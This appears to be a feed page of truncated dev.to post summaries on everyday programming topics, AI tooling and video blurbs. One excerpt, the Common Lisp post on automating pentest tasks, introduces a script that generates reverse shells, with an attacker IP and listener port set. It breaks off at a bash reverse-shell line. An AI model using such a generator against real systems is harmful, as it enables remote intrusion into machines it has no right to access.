Swagger documentation!  ( 6 min )
    Laeyrd - Create theme & customize VS Code without touching JSON 😁
    Introducing Laeyrd: Create theme & customize VS Code without touching JSON 😁 If you’re like me, you spend a lot of time in VS Code. And if you care about your development environment, you’ve probably spent way too much time tweaking your theme and settings in settings.json. Changing a comment color or adjusting the sidebar contrast usually involves: Opening settings.json. Guessing the right scope (is it editor.background or panel.background?). Typing a hex code. Saving and checking if it looks right. Repeating until you give up. I built Laeyrd to solve this. It’s a VS Code extension that gives you a proper UI for customizing your editor and creating a new theme on the fly without writing yo generate or installing a vsix file code --install-extension something.vsix. Laeyrd isn't a theme…  ( 7 min )
    I Built A Browser Extension That Save ChatGPT, Claude, Grok, DeepSeek & Gemini
    I Spent Months Building This AI Chat Exporter Because Nothing Else Worked (And Now It's Free) Hey dev.to community! 👋 I finally shipped my first browser extension to Chrome, Edge, and Firefox — and honestly, I just wanted to share what I built and the real struggle behind it. Why I even built this thing I use Claude, Grok, and DeepSeek every day for coding. ChatGPT and Gemini mostly for research. But saving full conversations while keeping formatting (especially code blocks) and images? Impossible. Copy-paste destroys everything Screenshots are a mess Existing tools either don’t work, cut off long chats, or completely skip images So I built AI Chat Exporter Pro — at first just for myself. Now it exports full conversations from ChatGPT, Claude, Grok, Gemini, and DeepSeek to PDF, DO…  ( 9 min )
    How I Fixed a Confusing Bug in NumPy
    Contributing to a massive open-source project like NumPy can feel intimidating. You imagine complex C code, advanced math, and scary build processes. But sometimes, a bug is just a simple logic error hiding in plain sight. I just submitted a Pull Request to NumPy to fix a bug that was causing misleading error messages in numpy.convolve. Here’s the story of the bug, the fix, and how I verified it. "Wait, What?" numpy.convolve. You accidentally pass an empty array as your first argument, but your second argument is perfectly fine. import numpy as np a = np.array([]) # Empty! v = np.array([1, 2]) # Not empty! np.convolve(a, v) You would expect an error saying a cannot be empty, right? Instead, NumPy screams at you: ValueError: v cannot be empty Wait... what? I know v isn't empty. I …  ( 7 min )
    8-Bit Music Theory: Kirby Air Riders' Music is FUN FUN FUN
    Kirby Air Riders’ main theme “Starlit Journey” gets a playful, in-depth breakdown from 8bitMusicTheory, showing you how a bright intro, bouncy verses, an ear-worm chorus, dynamic bridge, and triumphant final choruses all work together to feel so joyful. With clear timestamps (0:00–14:00) for each section, you can dive straight into the bits you love most. Along the way, you’re invited to support the creator on Patreon, grab some themed merch, join the Discord community, and follow on Twitter—because good game music is best enjoyed with friends. Watch on YouTube  ( 6 min )
    ChaosKit - Code-level Chaos Engineering for Go Applications
    Most chaos engineering tools operate at the infrastructure level: they kill containers, emulate network failures, or simulate CPU overload. But errors in application logic—infinite loops, goroutine leaks, unhandled panics—remain hidden. ChaosKit is a Go framework that brings chaos engineering to the code level. It allows you to inject failures directly into your program and verify the resilience of business logic, rollback mechanisms, and internal invariants. I recently developed floxy—a Saga workflow engine for Go that works as a library and manages complex step sequences with compensating rollbacks. Most errors in such systems aren't infrastructure-related but hidden in logic—like infinite rollback recursion, goroutine leaks during panics, or handler deadlocks. Standard chaos tools like …  ( 9 min )
    The 3 AM Bug That Taught Me More Than My Bachelor's Computer Degree
    When Everything Stopped Working Instead, I'm staring at my laptop screen, watching my movie The error message mocks me: "Cannot read property 'price' of undefined" I've been debugging this for 6 hours. SIX. HOURS. For context: I'm in my final year of BCA (Bachelor's in Computer I have a CGPA of 8.3/10. I'm a "good student." But none of that prepared me for this moment - sitting alone at This is the story of how one stupid bug taught me more about The App (And The Bug) The app was straightforward - a Flutter movie booking system for Browse movies Select theaters and showtimes Choose seats See total price Complete booking I'd been working on it for 2 months. Everything worked perfectly. Until I added ONE feature: "Early bird discount - 20% off for Suddenly, the app crashed whenever someo…  ( 11 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Gets the Rewatchables Treatment Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 cult comedy Weird Science, breaking down Anthony Michael Hall’s nerdy charm, Kelly LeBrock’s iconic supermodel, and all the sex, drugs, rock ’n’ roll—and yes, chips, dips, chains and whips—that make this flick a nostalgic must-watch. Produced by Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo, this Ringer Movies episode comes packed with laughs, behind-the-scenes tidbits, a State Farm shout-out, and friendly reminders to subscribe to The Ringer’s channels for more deep dives. Watch on YouTube  ( 6 min )
    Fixing Hallucinations in Gemini 3 Pro by Overriding RLHF Instincts
    We all know the feeling: you ask an advanced LLM (like Gemini 3 Pro) a specific technical question, and it confidently gives you a completely made-up answer. It hallucinates specs, libraries, or historical facts that simply don't exist. I’ve been stress-testing Gemini to understand why this happens even in high-tier models. My conclusion? It's not a bug in intelligence; it's a bug in alignment. Current models undergo rigorous RLHF (Reinforcement Learning from Human Feedback). During training, the model learns that "silence" or "I don't know" is often penalized, while a confident answer (even if slightly off) gets a reward. Effectively, the model develops a "survival instinct": To survive this interaction, I must satisfy the user. If I don't know the answer, I must invent one. Standard prom…  ( 8 min )
    Stop Wasting Hours Understanding Terraform Plans #terraform #devops #InfrastructureAsCode #VSCode
    Stop Wasting Hours Reading Terraform Plans: The One Tool Every DevOps Engineer Needs Published: November 20, 2025 Author: Ganesh Reading Time: 8 minutes Picture this: It's 4:45 PM on a Friday. You're about to deploy a critical infrastructure change to production. Your manager asks: "Can you quickly summarize what's changing?" You freeze. You open your terminal. Scroll through 500+ lines of Terraform plan output. Try to find the key changes buried in a sea of: # aws_security_group.app[0] will be updated in-place ~ resource "aws_security_group" "app" { id = "sg-0a1b2c3d4e5f" name = "app-security-group" ~ ingress { + cidr_blocks = [ + "10.0.1.0/24", ] - cidr_blocks = [ …  ( 13 min )
    How to Monitor Cost and Latency in Production LLM Systems
    TL;DR Monitoring cost and latency in production LLM systems requires end-to-end observability across prompts, tool calls, RAG retrieval, and model routing; unified machine + human evals to quantify ai quality; and governance at the ai gateway to enforce budgets, fallbacks, and load balancing. Instrument distributed agent tracing, define cost/latency SLOs, run automated evaluations on live traffic, and curate datasets from logs to drive continuous improvement. Use prompt versioning and llm router policies to stabilize performance envelopes, and adopt semantic caching where appropriate to reduce spend without degrading accuracy. For full-stack reliability, integrate Experimentation, Simulation & Evaluation, Agent Observability, and the Bifrost gateway. Start with clear reliability targets …  ( 8 min )
    The Runner Who Learned to Slow Down for Sunrise Photos
    I never planned on turning my morning runs into something soft or meaningful. I started running because I felt tired all the time, and someone online said running before work gave you energy. That wasn’t true for me. The first week, I felt like I was dragging my body through wet mud. My legs burned, my chest hurt, and I counted every second until I could stop. But I kept doing it for some reason — mostly stubbornness, maybe a tiny bit of hope. I always ran right at sunrise, because that was the only time my schedule allowed. The sky would still be a little dark when I stepped outside, and the air had that cold, sharp smell that wakes you up even if your brain isn’t ready. I’d put in my earbuds and try to force myself into a rhythm. But something strange kept happening. Even when my body wa…  ( 12 min )
    Exploring the Benefits of Synthetic Data Generation for AI Agent Evaluation
    TL;DR AI engineers and product teams need reliable, repeatable ways to assess agent behavior across complex, multi-turn workflows. Synthetic data generation creates task‑aligned examples programmatically—covering personas, scenarios, edge cases, and long‑tail failure modes—so teams can evaluate agents without waiting for scarce real data or risking sensitive information. Synthetic datasets unlock fast iteration for agent evaluation, llm evaluation, rag evaluation, and voice evaluation while preserving privacy and lowering operational cost. Synthetic data enables scale, coverage, and control for agent testing and model observability: Scale without privacy risk: Generate thousands of safe examples that reflect real tasks and constraints, enabling comprehensive agent evals across personas and…  ( 10 min )
    FYI: Paige Bailey (AI Developer Experience Lead at Deepmind) will be hosting a live demo and AMA on November 25th about Gemini 3
    Just saw this comment on the recent announcement from Google AI and thought I'd share in case anyone here is interested in joining: Jess Huang • Nov 20 If you're ready to get hands on, join us next Tuesday, November 25th to get direct insight into the new capabilities of Gemini 3. Paige Bailey, AI Developer Experience Lead at Deepmind, will be hosting a live demo and AMA. This is your opportunity to get direct, unfiltered answers from the team behind Gemini 3! Register here: goo.gle/Gemini3Forum Gemini 3 Announcement: Start building with Gemini 3 Logan Kilpatrick for Google AI ・ Nov 18 #gemini #ai #antigravity #vibecoding  ( 6 min )
    Check out the latest updates on my game.
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    It’s Time to Move Your System to an ORM
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    The Architecture of Browser Sandboxes: A Deep Dive into JavaScript Code Isolation
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    I write scripts so I don’t have to do boring stuff twice, and lately I’ve been doing it… in Common Lisp. Yeah, the language with a million parentheses. Fight me. A couple of months ago I fell down the Lisp rabbit hole while trying to automate some boring pentest tasks. Turns out: Lisp is absurdly good at generating and mutating payloads on the fly. Macros = free obfuscation super-powers. So here’s my little chaotic experiment: a tiny SBCL script that spits out working reverse shells with one click (and yes, I tested it live). #!/usr/bin/sbcl --script ;; payload.lisp – because why not write red-team tools in Lisp? (defparameter *lhost* "192.168.1.42") ; ← your attacker IP (defparameter *lport* "443") ; ← your listener port ;; Classic bash reverse shell – works on 99 % of Linu…  ( 11 min )
    Quick Recap: Caching in Java
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    I have soft launched my relational query package, but to put it through the ringer I wanted to use it in a website. You can think of situations and write tests, but the proof is in eating the pudding. So I started a new project and used the Slim skeleton for a quick setup. It is a while ago that I used Slim. You don't need to read the code below, it is just a visual aid. // Instantiate PHP-DI ContainerBuilder $containerBuilder = new ContainerBuilder(); if (false) { // Should be set to true in production $containerBuilder->enableCompilation(__DIR__ . '/../var/cache'); } // Set up settings $settings = require __DIR__ . '/../app/settings.php'; $settings($containerBuilder); // Set up dependencies $dependencies = require __DIR__ . '/../app/dependencies.php'; $dependencies($containerBuild…  ( 8 min )
    PHP on Ubuntu: Installation, Setup, and First Steps
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    CinemaSins: Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less
    Everything Wrong With KPop Demon Hunters In 16 Minutes Or Less is CinemaSins’ latest roast session, where the team clocks every nitpick of the new KPop Demon Hunters movie with their trademark humor and snark. They link to all their channels (TVSins, CommercialSins, CinemaSins Podcast Network), share a Linktree for updates, invite you to fill out a fun poll, and remind you that you can keep the sin machine running over on Patreon. The description also points you to their Discord, Reddit, Instagram, TikTok, and even Jeremy’s book, while crediting the squad of writers (Jeremy, Chris, Aaron, Jonathan, Deneé, Ian, Daniel). Basically, if you love snappy film critiques and want to plug into all things CinemaSins, this is your one-stop gateway. Watch on YouTube  ( 6 min )
    Quick Recap: Maps in Java
    Java provides multiple Map implementations — each designed for different use cases such as fast lookups, sorted data, concurrency, or predictable order. Understanding their internal working helps in writing performant code. Map Type Ordering Thread-Safe Best For HashMap No order ❌ No Fast lookup LinkedHashMap Insertion order ❌ No Caching (LRU) TreeMap Sorted order ❌ No Range queries ConcurrentHashMap No order ✔ Yes Concurrent access Uses array + linked list / tree (red-black tree) Default capacity = 16, load factor = 0.75 Collisions handled using chaining Hashing Logic: index = hash(key) & (n - 1) // n = array size When collision occurs: Java 8+: if bucket size > 8 → converts list → tree (better performance) Time Complexity: Best For: Fast lookups, general-purpose sto…  ( 7 min )
    One-to-One in Doctrine: How One Wrong Line of Code Generated 40,000 Extra Queries Per Day
    A real-world debugging story - and the hidden mechanics behind Doctrine's 1:1 relations A few years ago, I was working on a high-traffic Symfony application. Lots of concurrent users, lots of read operations, performance carefully monitored. Everything seemed stable - until our database dashboards started showing something odd. Every single day, we were generating tens of thousands of redundant SELECTs. Just 40,000+ pointless queries. We dug into logs. Then into slow-query reports. Still nothing obvious. And then the profiler finally revealed the culprit: bidirectional One-to-One relation in Doctrine, configured on the wrong owning side. One annotation. One line of code. When we flipped the owning side to the entity we actually queried most often, the extra queries disappeared immediatel…  ( 9 min )
    Building an AI Study Buddy: My Journey with Google's AI Agents Course
    Introduction For my Capstone Project, I chose the Agents for Good track to solve a problem I face constantly: passive learning. The Problem: Studying is Passive The Solution: The AI Study Buddy Instead of just reading, users can: https://www.kaggle.com/code/anandk05/aibuddy-34 How It Works (The Architecture) 1. The Router Agent 🧠 If the user asks "What is...", it routes to the RAG Tool. If the user says "Quiz me...", it routes to the Quiz Generator. 2. Retrieval Augmented Generation (RAG) 📚 3. Self-Evaluation & Quality Control ✅ I implemented an Evaluator Tool that programmatically audits the generated quiz before showing it to the user. It checks: Is the question clear? If the quiz fails this check, the agent regenerates it. This ensures a high-quality experience for the student. What I Learned The most powerful concept I applied was Observability. By adding detailed logs (or "thought traces") to my code, I could watch the agent "think"—detecting intent, selecting tools, and evaluating its own work. It felt less like coding a script and more like teaching a digital employee. Demo https://youtu.be/FJjsLvuQJzI?si=IPlp8CdOlx-QhYwa Conclusion Building the AI Study Buddy showed me that we can use AI to make education more accessible and engaging. I'm excited to keep refining this agent and adding more tools in the future!  ( 7 min )
    Ringer Movies: ‘Weird Science’ With Bill Simmons and Kyle Brandt | Ringer Movies
    ‘Weird Science’ Rewatchables Bill Simmons and Kyle Brandt dive into John Hughes’s 1985 classic “Weird Science,” unpacking all the iconic ’80s vibes—from Anthony Michael Hall’s awkward teen energy to Kelly LeBrock’s bombshell arrival. Expect a deep (and delightfully off-color) look at the movie’s blend of sex, drugs, rock ’n’ roll and sci-fi gadgetry, plus plenty of nerdy trivia and behind-the-scenes anecdotes. Producers Craig Horlbeck, Chia Hao Tat and Eduardo Ocampo keep the conversation rolling while State Farm pops in to remind you about bundle savings. Subscribe to The Ringer channels for more movie breakdowns, and follow them across YouTube, Twitter, Facebook and Instagram for all the pop-culture goodness. Watch on YouTube  ( 6 min )
    Quick Recap: Design Patterns in Java (Real Examples)
    Design patterns provide reusable solutions to common software problems. Here’s a concise recap with actual Java / Spring framework examples — not generic ones. Singleton Ensures only one instance exists. / Real Example: Calendar calendar = Calendar.getInstance(); Runtime runtime = Runtime.getRuntime(); Used in logging, DB connections, cache managers. Factory Method Creates objects without exposing logic. // Example: Java Collections List list = List.of("A", "B"); // Java 9 Factory NumberFormat format = NumberFormat.getInstance(); Spring Example: BeanFactory.getBean("beanName") Builder Pattern Best for creating complex objects with many fields. // Example: StringBuilder String result = new StringBuilder() .append("Hello ") .append("World") .toString(); Also used in Lo…  ( 7 min )
    When a “Small” AI Model Pushes Your Hardware to Its Limits
    While building my ConversaAI web app, I started experimenting with a local AI model using Ollama, running the 𝗚𝗲𝗺𝗺𝗮 𝟯 (𝟭𝗕) model, a “lightweight” 𝟴𝟭𝟱 𝗠𝗕 model. But in practice… it’s a different story. Every time model started generating a longer response, 👇 Here’s the before-and-during-generating-longer-response comparison of hardware utilization. At first, I thought something broke. But the real reason was far more interesting. Even at 1B parameters, the model performs 𝗯𝗶𝗹𝗹𝗶𝗼𝗻𝘀 𝗼𝗳 𝗼𝗽𝗲𝗿𝗮𝘁𝗶𝗼𝗻𝘀 𝗽𝗲𝗿 𝘁𝗼𝗸𝗲𝗻. Every generated word triggers 𝗺𝗮𝘀𝘀𝗶𝘃𝗲 𝗺𝗮𝘁𝗿𝗶𝘅 𝗺𝘂𝗹𝘁𝗶𝗽𝗹𝗶𝗰𝗮𝘁𝗶𝗼𝗻𝘀. The GPU handles the heavy computation, while the CPU manages data flow, scheduling, and memory movement. Meanwhile, RAM and VRAM temporarily hold weights, activations, and intermediate states. In simple terms: When GPU utilization peaks (95%), it produces heat rapidly. This throttling explains why the AI response halted and fan speed decreased shortly after. 📽️ Watch the video below that explains this situation. Hardware strain during model inference “Small” in AI doesn’t mean “light” for consumer hardware. So, even though my laptop is capable of running local inference, it has trouble maintaining it, particularly when the model needs to continue executing billions of operations per second for longer outputs. Running AI locally isn’t just about generating text. It teaches you how your CPU, GPU, RAM, and thermal system manage the workload of modern AI models in real time. Now, every time my laptop fan spins up, I know it’s just trying to think really hard. 😅 Did you ever run into a similar issue? If yes, how did you tackle it? If you found this post useful or learned something new, drop a ❤️ and share your thoughts in the comments. I’d love to hear your experience. Feel free to reach out on 💌 Email 💻 GitHub  ( 7 min )
    Google Play Store Analysis: Data-Driven Insights for App Launch Strategy
    Introduction Assumptions All analyses were performed using Python in Jupyter Notebook, utilizing functions such as load_dataset(), print_summarize_dataset(), clean_dataset(), and various histogram, heatmap, and scatter plot utilities. 🧪 1. Assumptions Download count is a proxy for market demand — higher installs indicate stronger user interest 🧹 2. Data Preparation & Cleaning Removed duplicates After cleaning, the dataset was ready for rigorous analysis. 📈 3. Experiments & Visualizations 3.2. Most Popular Genres Within Paid Family Apps Education dominates the paid Family segment with the largest share This shows parents are willing to pay premium prices for educational content that benefits their children's development. 3.3. Installations per Category Communication, Social, Tools, V…  ( 9 min )
    QuickJot: A Micro-Note Network Built for Frictionless Idea Sharing
    Introduction In an era of information overload and overcomplicated tools, QuickJot offers a refreshing alternative: a minimalist micro-note network that enables instant idea sharing through nothing more than a 6-character key. No accounts. No authentication barriers. No friction. QuickJot demonstrates that powerful solutions don't require complex infrastructure or significant investment. Built entirely on free-tier cloud services, it serves as both a practical tool and a proof-of-concept for developers exploring cost-effective full-stack architecture. Live Application: quickjot-kqo6.onrender.com GitHub Repository: github.com/hejhdiss/QuickJot License: GPLv3 (Open Source) Modern note-taking and sharing tools often introduce unnecessary complexity: Mandatory account creation Email verifi…  ( 8 min )
    Expert Plumbing & Heating Services in Bolton
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    onclick和addEventListener、inset
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    Let Your AI Build Nova Poshta Integrations in Minutes
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    Claude Code Will Be As Good As You Are
    Over the past few months, I've been living in Claude Code. I'm talking about serious, production-level work—building new services, refactoring legacy systems, rebuilding our integration test infrastructure from scratch. If I'm being honest, over 80% of the code I've shipped in that time was generated by AI. But here's what nobody tells you: AI-generated code isn't replacing my engineering skills. It's amplifying them. And more importantly, it's exposing every gap in my own thinking. The code Claude produces will only be as good as the design you drive it toward. After months of experimentation—vibe coding, setting draconian rules, trying every configuration imaginable—I've learned that great AI-assisted development isn't about prompting harder. It's about thinking better. When I first star…  ( 11 min )
    Running Firefox in Docker? Yes, with a GUI and noVNC!
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    React Context & Routing Mastery — From Prop Drilling Pain to Auth‑Ready Architectures
    Most React interviews won’t ask you to build a whole app. Instead, they test your mental model of Context, routing, state persistence, URL‑driven state, and auth flows with questions like: What is prop drilling and how does Context solve it? What exactly does a Provider do? What goes inside the value prop of a Provider? When should I use useContext vs the new use() API? Why does auth state disappear on full page reload? How would you protect routes with a PrivateRoute? Why are and different? How does React Router’s createBrowserRouter and data APIs change things? Why store search filters in the URL instead of in useState? When should I use useRef instead of useState for input values? This article transforms all those quiz‑style questions into production‑grade patterns you…  ( 10 min )
    How I built a hybrid LAN/WAN file sync engine without VPN (and why on-demand sync still matters)
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    Mise-En-Place: a quick and easy tool for managing a dev environment
    (ITA version) For a few months now, I've been using Mise En Place as a tool to manage my environments: from macro (entire virtual machine) to micro (single project). Frustrated by always having to start from scratch when creating a new virtual machine with WSL2, this tool was suggested to me, and I've come to appreciate it more and more for its ease of use, speed, and consistency. It's the classic "Swiss Army knife" tool that allows you to manage tools and their versions in a specific project or across the entire machine, load a project's environment variables when you enter the project folder, and manage the tasks/scripts you want to use to automate the project itself. After the quick installation using the script indicated here, you can explore the commands with mise help This command al…  ( 8 min )
    Quick Recap: Spring Boot Versions
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    Mise-En-Place: un tool veloce e facile per gestire un ambiente di sviluppo.
    (ENG version) Da qualche mese ormai, sto usando Mise En Place come tool per gestire i miei ambienti: dal macro (intera macchina virtuale) al micro (singolo progetto). Frustrato dal dover sempre re-iniziare daccapo quando creavo una nuova macchina virtuale con WSL2 mi è stato suggerito questo strumento che ho apprezzato sempre di più per la facilità di utilizzo, la velocità e la consistenza. E’ il classico tool “coltellino svizzero” che ti permette di gestire i tool e le loro versioni in un determinato progetto o nell’intera macchina, caricare le variabili d’ambiente di un progetto quando entri nella cartella del progetto, e i task/script con cui si vuole automatizzare il progetto stesso. Dopo la veloce installazione con lo script indicato qui si possono esplorare i comandi con mise help …  ( 8 min )
    Why Mina is Ideal for Blockchain Games
    Introduction - the problem with blockchain games The integration of blockchain into the gaming sector has historically been constrained by a fundamental conflict between transparency and gameplay depth. I want to show how Mina address these limitations, facilitating a transition from simple asset ownership to the cryptographic verification of complex game states. The utility of Mina in gaming rests on two architectural pillars: the restoration of information asymmetry and the asymptotic compression of computation. In game theory, strategic depth often relies on what players cannot see. Using Mina's client-side proving, a player can generate a cryptographic proof that a move is valid according to the game rules without revealing the coordinates of the move to the public network. Trad…  ( 8 min )
    [Boost]
    The Architecture Nobody Talks About: How I Built Systems That Actually Scale (And Why Most Don't) TheBitForge ・ Nov 17 #aws #programming #webdev #javascript  ( 5 min )
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    A Beginner-Friendly Guide to TypeScript (What I Wish I Knew Earlier)
    When I first started learning TypeScript, I thought it was “just JavaScript with extra rules.” If you’re new to it, this post will save you the confusion I went through and give you a smooth entry into TypeScript. In simple terms: TypeScript = JavaScript + types + better developer experience It helps you catch bugs early, write clearer code, and avoid accidental mistakes. Here’s what I wish I understood from day one: 1. TypeScript makes your code predictable 2. Fewer runtime errors 3. Better autocomplete 4. Makes teamwork easier 1. Type Annotations let age: number = 24; let username: string = "John"; let isLoggedIn: boolean = true; 2. Arrays let scores: number[] = [10, 20, 30]; let names: string[] = ["John", "Jane"]; 3. Objects let user: { name: string; age: number } = { name: "John", age: 24 }; 4. Functions function greet(name: string): string { return `Hello, ${name}`; } 5. Union Types let id: number | string; id = 12; id = "12"; Interfaces (Your New Best Friend) interface User { name: string; age: number; isAdmin?: boolean; // optional property } const admin: User = { name: "John", age: 24, isAdmin: true }; This makes your code more organised and scalable. If you’re using React, TS helps you avoid a lot of confusion. type ButtonProps = { label: string; onClick: () => void; }; function Button({ label, onClick }: ButtonProps) { return {label}; } Now React knows exactly what the component expects, no more guessing. You don’t need to master TypeScript before using it. add types gradually use your editor hints let TypeScript guide you And with time, everything clicks. TypeScript isn’t difficult. Once you get comfortable with its structure, your code becomes cleaner, safer and more enjoyable to write. If you’re a beginner, here’s my advice: Start small. Build often. Let TypeScript teach you as you go.  ( 7 min )
    Testing FastAPI and LangChain with Two Response Modes
    I wanted to share a small detail from the customer-support workflow I built last week with FastAPI and LangChain. It’s something that kept the project easy to test and saved time later. I set up the app so each request can run in two modes: I. Mock mode Mock mode returns fixed responses for each intent. It gave me a stable baseline during debugging, since nothing depended on an external LLM call. Real mode uses OpenAI and follows the same structure, so switching back and forth didn’t break anything. One thing that worked well was keeping both paths inside the same handler. The logic stays in one place, and it’s obvious how the request flows. It’s a simple pattern, but it helps when you’re checking user messages, routing intents, and comparing outputs during refinement. If anyone’s building something similar, having these two modes early on makes the pipeline easier to reason about.  ( 6 min )
    CinemaSins: Everything Wrong With The Wiz In 15 Minutes Or Less
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    dashboard
    Check out this Pen I made!  ( 5 min )
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    This Week In React #259: State of React, Promise subclasses, Next.js, RSC, JSX Tools | Yoga CSS Grid, Radon | TC39, Browserslist
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    When a Trillion Dollars Moves: How Saudi Arabia's Mega-Investment Will Shake Global Currency Markets
    Imagine this: a country decides to invest nearly ALL of its annual earnings into another country's economy. That's what just happened. Saudi Arabia announced a staggering $1 trillion investment into the United States. To put this in perspective, that's like you putting your entire year's salary into your friend's business. When that happens, everything changes. For currency traders and anyone watching global markets, this isn't just another news story. This is one of those rare moments when a single announcement reshapes how money flows around the world. And when money flows change, currencies move. Hard. The question traders need to answer right now is simple: How does this trillion dollar tsunami affect the currency pairs you're trading? That's what we're diving into. Before we get into …  ( 12 min )
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    Everyone says we're using AI wrong, but are we using it right?
    ChatGPT is awesome, Claude Code and cursor is great. AI is revolutionary. It’s the technology that turned the world faster than it already is. It has brought knowledge to the ignorant, time to those in lack, and value to those who sought for it. It has given us so much in the little amount of time it’s been with us, yet it also took the valuable things that define what we do. A reflection: In the past few weeks I’ve noticed how much I’m hanging onto an LLM’s thoughts for the program that I code, the message that I’ll send, and the work that I do. I’m in constant state of waiting and seeking and waiting. Pressured to deliver fast and learn little. As if both can’t be done at the same time. I’ve noticed how my ability to just do things is slowly creeping out of my fingers. Arguably, its similar to what social media has done in our lives, it has taken the so called dull moments in our day to day lives and replaced it with answers that’s instant, with a bunch of pixels that hook us. My innate nature of seeking for answers has advanced me in different areas of life. Yet my desire to seek it fast brings me one step backwards. I’ve come into realization that all our questions are to be answered, but not all are to be answered in a snap. We are to seek it with genuine intention, in that way, what we sought for gets engraved in us. And so this is my message, for myself, and maybe for you: think. do. Use that tiny thing in your head that you carry everyday. Use it to produce the work that has been given to you. AI is not the problem. It’s a tool. It should help define and shape the work that we do. It’s not about using it less (though that worked for me), It’s all the more about embracing who you are, your identity, your gifts and be in full confidence of it. Your are to create, solve, question, and serve. So go do that thing, do it yourself, and do it flawed.  ( 7 min )
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    In a world where every click, purchase, and interaction generates valuable information, data has become one of the most powerful business assets. But raw data alone doesn’t create impact—understanding it does. That’s where data science steps in. It transforms scattered information into practical insights that help organizations make smarter, faster, and more confident decisions. Whether it’s predicting customer behavior, optimizing processes, or enhancing user experiences, data science has become the foundation of modern innovation across industries. What Exactly Is Data Science? At its core, data science is all about finding meaning in large and complex datasets. It blends mathematics, statistics, programming, and domain expertise to uncover patterns that humans may not easily see. A typi…  ( 7 min )
    What Every Programmer Should Know About Memory (Part 1)
    I recently came across an interesting paper titled What Every Programmer Should Know About Memory by Ulrich Drepper. The paper dives into the structure of memory subsystems in use on modern commodity hardware,and what programs should do to achieve optimal performance by utilizing them. What I will be doing is just summarizing what I (as a semi-intelligent being) have learned from reading the paper. I highly recommend reading the paper as the title says, what every programmer should know about memory. Needless to say, some parts of the paper where quite complex for my brain, I did my best to understand everything, but I might have missed some details. If you find any mistakes, please let me know! I just finished reading the first 3 sections of the paper, which cover the following topics: Ba…  ( 21 min )
    Shrinking Giants: A Word on Floating-Point Precision in LLM Domain for Faster, Cheaper Models
    Ever wondered how floating-point decision can have an impact on LLM’s output? Floating-point is the standard way computers represent real numbers (numbers with a fractional part, like 3.14 or 1.2×10−5). A floating-point number is generally composed of three parts: a sign bit, an exponent, and a mantissa (or significand). Sign bit: Determines if the number is positive or negative. Exponent: Determines the scale or magnitude of the number (how large or small it is). Mantissa: Determines the precision (the number of significant digits). The number following “FP” (e.g., 4 or 16) indicates the total number of bits used to store the number. Fewer bits mean less memory and faster computation, but also less precision and a smaller range of representable values. The terms FP4 and FP16 in the conte…  ( 20 min )
    I Built GitPulse — A Faster Way to Find Beginner-Friendly Open-Source Projects
    Finding a good open-source project to contribute to shouldn’t take hours. So I built GitPulse — a tool that helps developers instantly discover open-source projects and beginner-friendly issues based on their skills. 👉 Live: https://git-pulsee.vercel.app 👉 Free & open to everyone I wanted to start contributing to open source, but I kept running into problems: Repos were too advanced I didn’t know which project actually FIT my skills So GitPulse was born: a simple platform that curates issues, analyzes repo difficulty, and recommends projects you can realistically contribute to. Smart Repo Matching You select your programming languages and skill level, and GitPulse recommends repos that fit. 200+ Beginner-Friendly Issues Updated regularly — filtered by languages, tags, and difficulty. AI Difficulty Prediction See how challenging an issue will be before opening it. Repo Analytics GitPulse shows data GitHub doesn’t: Onboarding friendliness Contributor patterns Issue activity Community health Best time to contribute Beginners looking to make their first contribution Bootcamp students building a portfolio Developers trying to break into open source People wanting a guided entry point No login. No friction. 👉 Live Demo: https://git-pulsee.vercel.app Would love your feedback or feature ideas! 🔥 Want me to open-source parts of GitPulse? Let me know in the comments 👇  ( 6 min )
    🚀 New React Challenge: How Many Days Old Are You?
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    Smarter Search: A Revolutionary Algorithm for Crushing Complex Optimization by Arvind Sundararajan
    Smarter Search: A Revolutionary Algorithm for Crushing Complex Optimization Tired of your machine learning models taking forever to train? Feeling like you're just throwing darts at a board when tuning hyperparameters? We've all been there – wrestling with optimization problems that seem impossible to solve in a reasonable timeframe. The core idea is deceptively simple: intelligently exploring the solution space. It involves a novel algorithm that efficiently searches for the best possible solution, even when the underlying landscape is complex and unpredictable. It does this by dynamically adjusting its search strategy based on past results and making sure every attempted solution has the potential to be the best yet. This approach uses an adaptive lower bound to prevent wasting time on…  ( 7 min )
    How AI could transform team collaboration: opportunities, challenges, and the future
    In today’s world, most teams rely on online collaboration platforms like Trello, Asana, Jira, Taskee, and Notion. These tools allow team members to see each other’s tasks, track progress, and mark completion. On the surface, it seems like everything is streamlined. But if you look closer, many processes are still done manually: people assign tasks, remind colleagues about deadlines, cross-check reports, and monitor progress. So why hasn’t this been fully automated yet? The answer is simple: most platforms can only record and visualize what humans enter. They don’t deeply analyze data, predict outcomes, or suggest solutions. This is where AI could make a real difference. Imagine a platform where AI can: Analyze workload and distribute tasks: Instead of manually deciding who takes which task…  ( 8 min )
    Black Friday 2025 : Developer and Testing tools
    Top 10 Black Friday Deals for QA & Development Teams 2025 Quality developer and testing tools usually require budget approvals that take weeks. But Black Friday 2025 (November 28) and Cyber Monday (December 1) change that equation : with discounts up to 90% on tools that QA engineers, developers, and DevOps teams use daily. We've compiled 10 verified deals across test reporting, debugging, deployment, monitoring, and productivity tools. These aren't just discounts, they're opportunities to upgrade workflows, reduce manual debugging time, and build more reliable CI/CD pipelines without waiting for next quarter's budget. 1. TestDino : 40% Off Yearly Team Plan Best for: Engineering, QA, and product teams running Playwright testsTestDino is a Playwright-native reporting platform that auto-c…  ( 9 min )
    Finally xcode 26
    About two weeks ago, I had to switch to a new machine, and I immediately felt the challenges that would come with it. Just when I thought the transition would be tough, my machine updated to Tahoe, which sent me into a panic mode. How would I manage to work in the coming days? Fortunately, things fell into place, and I was able to successfully update my environment. What have I done? First, install xcodes to switch between Xcode versions. I have installed Xcode 26.0.0. Then updated the following libs: Kotline Multiplatform plugin: for that, I have followed the version compatibility from this page. Android sourceset conventions: the first error that I need to fix build.gradle.kts:123:13: 'fun dependencies(configure: KotlinDependencies.() -> Unit): Unit' can't be called in this context by i…  ( 8 min )
    Difference between .JAR and .WAR packaging in JAVA
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    Building a Technical Blog with Astro + Cloudflare
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    How to Compress Your Prompts and Reduce LLM Costs
